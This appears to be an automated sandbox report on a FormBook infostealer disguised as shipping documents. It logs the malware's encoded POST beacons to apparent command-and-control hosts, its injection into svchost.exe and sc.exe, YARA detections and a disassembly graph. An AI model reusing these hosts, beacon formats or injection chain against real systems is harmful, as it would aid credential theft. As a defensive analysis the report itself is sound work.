                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Origin: http://www.jalan2.online
                                              Referer: http://www.jalan2.online/xu9o/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 1233
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 48 76 72 54 2d 74 39 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 4c 72 7a 49 34 31 61 62 77 61 66 56 6a 31 72 4b 61 5a 74 38 69 59 31 5a 30 2f 44 37 57 76 4f 51 52 67 4a 4e 6f 4f 38 75 52 39 56 63 56 6b 51 7a 57 5a 78 75 38 2b 5a 4c 55 51 51 38 63 57 49 42 69 36 37 6a 41 6c 6f 6d 59 72 30 67 64 6b 74 44 75 4a 4a 4b 56 6c 47 72 4e 74 42 47 58 31 56 74 56 55 41 30 37 61 61 45 49 78 4b 6b 6a 38 52 61 63 52 30 44 53 52 63 39 68 49 53 65 75 50 68 56 46 49 63 7a 68 72 63 6b 67 49 79 2f 33 78 51 6b 63 4c 76 68 51 70 67 34 45 44 49 77 7a 44 66 56 6d 76 74 6f 67 4c 45 78 69 2b 68 51 42 37 7a 31 7a 79 53 61 50 4e 48 4a 4f 57 41 61 33 38 6d 71 4c 45 6c 59 50 51 59 32 74 2b 67 75 6f 52 39 70 44 63 78 4f 37 38 59 6e 48 47 49 68 70 64 57 73 4c 69 63 36 46 75 62 79 45 45 6e 55 4d 65 4b 35 44 30 73 71 39 74 64 42 78 63 65 6c 64 74 43 4f 4a 7a 5a 30 31 75 6a 68 38 6b 33 36 35 73 49 65 49 66 39 68 41 50 4a 72 72 38 42 61 67 64 6f 55 76 30 34 33 38 68 58 31 34 32 75 33 72 55 48 42 57 69 51 2b 4f 58 43 53 65 63 2f 6c 59 [TRUNCATED]
                                              Data Ascii: HvrT-t9X=V36Hnmii79e6LrzI41abwafVj1rKaZt8iY1Z0/D7WvOQRgJNoO8uR9VcVkQzWZxu8+ZLUQQ8cWIBi67jAlomYr0gdktDuJJKVlGrNtBGX1VtVUA07aaEIxKkj8RacR0DSRc9hISeuPhVFIczhrckgIy/3xQkcLvhQpg4EDIwzDfVmvtogLExi+hQB7z1zySaPNHJOWAa38mqLElYPQY2t+guoR9pDcxO78YnHGIhpdWsLic6FubyEEnUMeK5D0sq9tdBxceldtCOJzZ01ujh8k365sIeIf9hAPJrr8BagdoUv0438hX142u3rUHBWiQ+OXCSec/lYQ+/CLhbLnhCoxVlzOtPKRTwTm4p+9U36uliHCn9F1Mgj62GlGcCy6IVjcSgfe+/C1IZ8hlp0o+NcX8ar9xYd5QC3BZqtAHceaVtMzQDfj4ZfE5qw20/2dSB8r+kgbR25nC4L2DhRmUSKCKJWVtTIaNFNb5475c5YCOW52AduoGxDqY20FAhu5xm5jcoY8avcVmYr+08IeoilBvTUY/zVoh3zSpz22CgpaTK/H7KAdATOHQ5enp2NPrSqdoy5xAc4BbYDwqmOobMLqtH5/Dw6GnE1yBwuVEzJpYczrkAcRELNgvCgH4lKtAtU6gTrgG96nF9On4d6nBnPHApm+GwzhCsXk2+dsozqs6nAvnEh2C6AZfPD6xysk01yNqe0omOkr9xlFv/Um5wb7t/LnEYdFaxZNJ6uC9lHE3RsEoZbj9v5s4r8TMeZsdIvOFUVflOxOF8fpJtPS/TyafgfIk0mlYABeCRq4ri2wjvauZY/y9nJWNScqJsjO8fOXGDbQayrXCowyirBL+0/HGCekDmCBw/nSMVxCBKV8kpNyNlcrquWG1iFFWzA/kbWeOJxIdCJmrOXKBrnY7tY1Cq3XiZQ6HfP/wzDh3bkSTFYktmzbRQbO2lIFqPvdFPsxUeCO1xYcTh7A0P6erDpkXSXPeIOlmgbW6qLfMZVC9 [TRUNCATED]
                                              Dec 9, 2024 17:19:19.598458052 CET279INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              date: Mon, 09 Dec 2024 16:19:18 GMT
                                              server: LiteSpeed
                                              content-encoding: gzip
                                              vary: Accept-Encoding
                                              transfer-encoding: chunked
                                              connection: close
                                              Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                              Data Ascii: a
                                              Dec 9, 2024 17:19:19.599492073 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                              Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              4192.168.2.949948108.181.189.7806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:20.806945086 CET536OUTGET /xu9o/?HvrT-t9X=Y1SnkQLh9oyCIrW1nUOSuZnR7CuPFYt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrcY9ba19Ly4xWTmryN/t4ZE1RM2wdiA==&tJ=iJE0gvFHj8PDX8qP HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Dec 9, 2024 17:19:22.108164072 CET1236INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              content-length: 1249
                                              date: Mon, 09 Dec 2024 16:19:21 GMT
                                              server: LiteSpeed
                                              connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, [TRUNCATED]
                                              Dec 9, 2024 17:19:22.108365059 CET224INData Raw: 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c
                                              Data Ascii: 3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              5192.168.2.94996413.248.169.48806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:27.750607014 CET801OUTPOST /ctta/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Origin: http://www.avalanchefi.xyz
                                              Referer: http://www.avalanchefi.xyz/ctta/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 197
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 48 76 72 54 2d 74 39 58 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 78 77 6f 46 73 7a 6c 46 6f 47 6d 43 66 4a 35 68 31 73 50 56 34 52 30 70 58 49 61 6b 31 64 4d 34 55 77 63 6f 48 6b 6c 62 76 30 6a 73 46 7a 32 39 70 33 52 73 72 6e 5a 6e 61 41 59 62 4e 36 72 74 31 74 67 36 42 79 65 57 46 48 36 53 70 31 64 55 6a 72 79 5a 32 6a 6b 41 75 56 75 50 69 78 68 6c 64 6a 6a 36 36 42 38 33 5a 6a 35 38 72 6c 6d 36 56 43 37 44 68 45 73 49 47 64 36 48 6d 41 51 38 35 7a 6c 76 75 61 4c 67 36 4f 52 56 42 4f 76 48 49 74 58 63 75 66 73 4f 53 42 6c 2b 52 36 4b 64 45 59 34 46 77 35 62 68 33 42 6c 4c 50 34 6a 43
                                              Data Ascii: HvrT-t9X=21JNLLR6nWLwxwoFszlFoGmCfJ5h1sPV4R0pXIak1dM4UwcoHklbv0jsFz29p3RsrnZnaAYbN6rt1tg6ByeWFH6Sp1dUjryZ2jkAuVuPixhldjj66B83Zj58rlm6VC7DhEsIGd6HmAQ85zlvuaLg6ORVBOvHItXcufsOSBl+R6KdEY4Fw5bh3BlLP4jC
                                              Dec 9, 2024 17:19:28.863708973 CET73INHTTP/1.1 405 Method Not Allowed
                                              content-length: 0
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              6192.168.2.94997013.248.169.48806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:30.422883987 CET825OUTPOST /ctta/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Origin: http://www.avalanchefi.xyz
                                              Referer: http://www.avalanchefi.xyz/ctta/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 221
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 48 76 72 54 2d 74 39 58 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 2b 7a 67 46 72 51 4e 46 6a 47 6d 42 51 70 35 68 76 63 50 52 34 52 49 70 58 4a 50 76 30 76 59 34 56 52 73 6f 41 68 52 62 73 30 6a 73 4f 54 33 33 32 6e 52 72 72 6e 56 56 61 42 6b 62 4e 36 76 74 31 75 30 36 41 46 43 58 48 58 36 51 79 6c 64 61 74 4c 79 5a 32 6a 6b 41 75 56 72 48 69 78 35 6c 42 44 54 36 37 67 38 30 48 7a 35 2f 6f 6c 6d 36 52 43 37 48 68 45 73 2b 47 59 69 70 6d 46 4d 38 35 33 70 76 75 4c 4c 76 77 4f 52 66 50 75 75 57 50 49 76 58 70 63 6b 4e 4b 6e 6c 38 4b 5a 43 41 4b 5a 45 62 68 4c 53 36 69 57 6c 73 49 66 71 71 59 6c 2b 71 2f 70 36 70 55 38 4c 66 5a 30 2b 67 6d 78 71 42 6c 51 3d 3d
                                              Data Ascii: HvrT-t9X=21JNLLR6nWLw+zgFrQNFjGmBQp5hvcPR4RIpXJPv0vY4VRsoAhRbs0jsOT332nRrrnVVaBkbN6vt1u06AFCXHX6QyldatLyZ2jkAuVrHix5lBDT67g80Hz5/olm6RC7HhEs+GYipmFM853pvuLLvwORfPuuWPIvXpckNKnl8KZCAKZEbhLS6iWlsIfqqYl+q/p6pU8LfZ0+gmxqBlQ==
                                              Dec 9, 2024 17:19:31.507752895 CET73INHTTP/1.1 405 Method Not Allowed
                                              content-length: 0
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              7192.168.2.94997713.248.169.48806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:33.256982088 CET1838OUTPOST /ctta/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Origin: http://www.avalanchefi.xyz
                                              Referer: http://www.avalanchefi.xyz/ctta/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 1233
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 48 76 72 54 2d 74 39 58 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 2b 7a 67 46 72 51 4e 46 6a 47 6d 42 51 70 35 68 76 63 50 52 34 52 49 70 58 4a 50 76 30 76 41 34 55 6a 6b 6f 47 47 4e 62 74 30 6a 73 53 44 33 36 32 6e 51 75 72 6e 4d 63 61 42 6f 68 4e 34 6e 74 30 4d 73 36 49 55 43 58 4e 58 36 51 74 31 64 58 6a 72 79 32 32 6e 49 4d 75 56 37 48 69 78 35 6c 42 41 4c 36 79 52 38 30 46 7a 35 38 72 6c 6d 6d 56 43 36 53 68 45 30 41 47 5a 57 58 6d 78 41 38 35 58 35 76 39 74 66 76 7a 75 52 5a 43 4f 75 4f 50 49 71 50 70 59 38 33 4b 6e 35 61 4b 5a 71 41 4c 76 42 59 32 37 61 47 2b 57 31 64 46 66 62 4e 41 77 33 50 77 4b 50 72 4a 4a 72 39 42 52 58 30 6f 77 2f 79 2b 2b 58 41 76 32 4d 63 5a 6d 54 37 63 4d 68 53 61 35 4d 6e 48 64 76 73 73 5a 6e 62 6d 4b 74 2f 68 45 33 53 58 4e 74 2b 53 78 6f 43 74 76 58 59 62 4c 68 44 4a 61 37 51 67 63 56 39 74 4c 41 49 34 56 4e 77 6e 45 4a 48 76 76 71 2f 34 33 32 70 70 49 35 6e 69 31 62 58 51 31 53 46 45 65 59 78 37 56 77 75 45 4c 51 4e 38 4b 55 6f 52 37 6d 69 4e 7a 43 75 54 6b 62 44 6a [TRUNCATED]
                                              Data Ascii: HvrT-t9X=21JNLLR6nWLw+zgFrQNFjGmBQp5hvcPR4RIpXJPv0vA4UjkoGGNbt0jsSD362nQurnMcaBohN4nt0Ms6IUCXNX6Qt1dXjry22nIMuV7Hix5lBAL6yR80Fz58rlmmVC6ShE0AGZWXmxA85X5v9tfvzuRZCOuOPIqPpY83Kn5aKZqALvBY27aG+W1dFfbNAw3PwKPrJJr9BRX0ow/y++XAv2McZmT7cMhSa5MnHdvssZnbmKt/hE3SXNt+SxoCtvXYbLhDJa7QgcV9tLAI4VNwnEJHvvq/432ppI5ni1bXQ1SFEeYx7VwuELQN8KUoR7miNzCuTkbDjtjsdUnbNMpI7+8eEh6/caPMVT9PYqgvhs0k5R6Hdwy7SGmpYbX8oNXCN2behocbhBzeDzSo4Fz1PgvmSX69iX/KOWQn5T6pvgMyTlg+MQ1Qw9xE9MIKdfjiyuEV5uBWCzMewgK+cXMhnemG/TOeAUPGs+FH0sxATmnM3CSZ4e/AU39BY+PsAVfAfcExqgRCoug7e2X2T44WjdYBxywaVe9hROW//ZUgVZOpzZqTYxEPDUdyTlniPdqPxNXrag+/bxNP5UiV6UlpTc5fvrg0MW2S3rsRAG1CG8swC8Lzt8xPUkVLzi/AwXFG1uq6eF19n6UtYyeEaw0KrVq4/2UsSGxokSfZxFeXeE9BII7nj+zGSGi7ffpcS5op6fJjN4RGyOKfUc7V+uPwijn/ikLeZIAh+Gw4Ut/+zX0SYJyw7eLCxlZcpNgxrJyqR6jXXT5CS5ynmU+ceC4/Cj3+tuOmB8lS9rRIUf1FHk0McoDw6I5v5qEWNx9LZfFtHE9vdhR4xTlNbQ6AqO4PbOELeuntY3gVCojR3Iz8Lfe69uKNfwuN1TatfCAmYKBhGI2TH1m84K4apz6QHYzYnIKKz9cmU8HJs4fxsa+0u5cdLldhc25mv0UVIirB6q73FOaPjC9zkhVYOVVKwM0kvJL9wMhP3DT0dVYJq7arR3H [TRUNCATED]
                                              Dec 9, 2024 17:19:34.338342905 CET73INHTTP/1.1 405 Method Not Allowed
                                              content-length: 0
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              8192.168.2.94998313.248.169.48806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:35.914987087 CET538OUTGET /ctta/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=73htI/07lnbi6jhigENtqW+dHv4h0dKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKT3ngGEEhsGl0ikPp1D77RlGeR3ylg== HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Dec 9, 2024 17:19:37.014415026 CET381INHTTP/1.1 200 OK
                                              content-type: text/html
                                              date: Mon, 09 Dec 2024 16:19:36 GMT
                                              content-length: 260
                                              connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 4a 3d 69 4a 45 30 67 76 46 48 6a 38 50 44 58 38 71 50 26 48 76 72 54 2d 74 39 58 3d 37 33 68 74 49 2f 30 37 6c 6e 62 69 36 6a 68 69 67 45 4e 74 71 57 2b 64 48 76 34 68 30 64 4b 69 76 52 52 53 56 34 61 72 6b 74 35 37 58 44 6c 4b 43 32 78 4a 76 6e 61 2b 4a 6a 65 31 6e 57 64 35 6b 30 5a 33 50 53 30 56 56 5a 54 77 34 65 6b 37 4e 46 50 6f 4b 54 33 6e 67 47 45 45 68 73 47 6c 30 69 6b 50 70 31 44 37 37 52 6c 47 65 52 33 79 6c 67 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=73htI/07lnbi6jhigENtqW+dHv4h0dKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKT3ngGEEhsGl0ikPp1D77RlGeR3ylg=="}</script></head></html>


                                              Statistics

                                              CPU Usage

                                              Click to jump to process

                                              Memory Usage

                                              Click to jump to process

                                              High Level Behavior Distribution

                                              Click to dive into process behavior distribution

                                              Behavior

                                              Click to jump to process

                                              System Behavior

                                              General

                                              Target ID:0
                                              Start time:11:17:34
                                              Start date:09/12/2024
                                              Path:C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                                              Imagebase:0x9a0000
                                              File size:1'214'976 bytes
                                              MD5 hash:825D275E4BA1C2DA11BDC94259B23C21
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:low
                                              Has exited:true

                                              General

                                              Target ID:2
                                              Start time:11:17:37
                                              Start date:09/12/2024
                                              Path:C:\Windows\SysWOW64\svchost.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                                              Imagebase:0x6d0000
                                              File size:46'504 bytes
                                              MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2016788677.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2017207373.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2016510291.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:6
                                              Start time:11:18:33
                                              Start date:09/12/2024
                                              Path:C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe"
                                              Imagebase:0xc70000
                                              File size:140'800 bytes
                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2584635635.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:7
                                              Start time:11:18:35
                                              Start date:09/12/2024
                                              Path:C:\Windows\SysWOW64\sc.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Windows\SysWOW64\sc.exe"
                                              Imagebase:0x9f0000
                                              File size:61'440 bytes
                                              MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2584855517.0000000003750000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2584715136.00000000035C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2583125879.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:moderate
                                              Has exited:false

                                              General

                                              Target ID:8
                                              Start time:11:18:48
                                              Start date:09/12/2024
                                              Path:C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe"
                                              Imagebase:0xc70000
                                              File size:140'800 bytes
                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2586189448.0000000005440000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:10
                                              Start time:11:19:00
                                              Start date:09/12/2024
                                              Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                              Wow64 process (32bit):false
                                              Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                              Imagebase:0x7ff73feb0000
                                              File size:676'768 bytes
                                              MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              Disassembly

                                              Reset < >

                                                Execution Graph

                                                Execution Coverage:3.4%
                                                Dynamic/Decrypted Code Coverage:0.4%
                                                Signature Coverage:7.2%
                                                Total number of Nodes:2000
                                                Total number of Limit Nodes:70
                                                execution_graph 104458 9dfdfc 104474 9aab30 Mailbox _memmove 104458->104474 104462 9c0db6 59 API calls Mailbox 104462->104474 104463 9ab525 104557 a09e4a 89 API calls 4 library calls 104463->104557 104466 9e09e5 104563 a09e4a 89 API calls 4 library calls 104466->104563 104467 9e0055 104552 a09e4a 89 API calls 4 library calls 104467->104552 104470 9aa057 104472 9ab475 104553 9a8047 104472->104553 104473 9e0064 104474->104462 104474->104463 104474->104470 104483 9a9f37 Mailbox 104474->104483 104492 9ab2b6 104474->104492 104495 9e086a 104474->104495 104497 9e0878 104474->104497 104499 9e085c 104474->104499 104500 9ab21c 104474->104500 104503 9f6e8f 59 API calls 104474->104503 104507 a1df23 104474->104507 104510 a1df37 104474->104510 104515 9a9ea0 104474->104515 104539 9a9c90 59 API calls Mailbox 104474->104539 104543 a1c193 85 API calls 2 library calls 104474->104543 104544 a1c2e0 96 API calls Mailbox 104474->104544 104545 a07956 59 API calls Mailbox 104474->104545 104546 9a7de1 104474->104546 104550 a1bc6b 331 API calls Mailbox 104474->104550 104551 9f617e 59 API calls Mailbox 104474->104551 104475 9c0db6 59 API calls Mailbox 104475->104483 104476 9a8047 59 API calls 104476->104483 104479 9ab47a 104479->104466 104479->104467 104482 9a7667 59 API calls 104482->104483 104483->104467 104483->104470 104483->104472 104483->104475 104483->104476 104483->104479 104483->104482 104484 9c2d40 67 API calls __cinit 104483->104484 104485 9f6e8f 59 API calls 104483->104485 104487 9e09d6 104483->104487 104489 9aa55a 104483->104489 104513 9ac8c0 331 API calls 2 library calls 104483->104513 104514 9ab900 60 API calls Mailbox 104483->104514 104484->104483 104485->104483 104562 a09e4a 89 API calls 4 library calls 104487->104562 